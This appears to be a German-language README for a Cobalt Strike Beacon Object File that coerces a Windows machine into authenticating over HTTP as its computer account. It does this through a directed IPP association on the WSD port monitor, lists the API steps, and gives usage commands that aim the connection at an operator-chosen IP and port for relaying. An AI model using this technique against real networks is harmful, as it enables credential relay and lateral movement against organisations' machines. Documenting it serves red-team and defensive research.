IPP Coercion BOF

Ein Beacon Object File (BOF), das einen Windows-Rechner dazu zwingt, sich über HTTP als sein Computerkonto (HOSTNAME$) zu authentifizieren, indem es eine gerichtete IPP-Zuordnung über den WSD-Portmonitor auslöst. Diese Technik ermöglicht es Operatoren, die Authentifizierung von Computerkonten über HTTP zu erzwingen und weiterzuleiten.

Getestet auf Windows 11 26H2.

Funktionsweise

Das BOF wurde erstellt, indem printui.exe während des Hinzufügens eines IPP-Druckers verfolgt und auf die beobachtete Menge an API-Aufrufen reduziert wurde (unter Verwendung von Claude Opus 5.5, Frida und ETW). Auf hoher Ebene führt dieses BOF Folgendes aus:

1. Öffnet ein Konfigurations-Handle für den WSD-Portmonitor (OpenPrinterW(",XcvMonitor WSD Port"))
2. Ruft AssocIppDirected mit der angegebenen URI auf (XcvDataW)
3. Veranlasst den Spooler, DeviceAssociationService über RPC auszulösen und die ausgehende Verbindung herzustellen

Verwendung

Laden Sie coerce-ipp.cna in Cobalt Strike.

beacon> coerce-ipp <ip> <port>
beacon> coerce-ipp 127.0.0.1 8082

Referenzen

• Microsoft Learn: MS-RPRN – Spezifikation von AssocIppDirected (APMON XcvData)
• Microsoft Learn: Add-Printer – Gerichtete IPP-Erkennung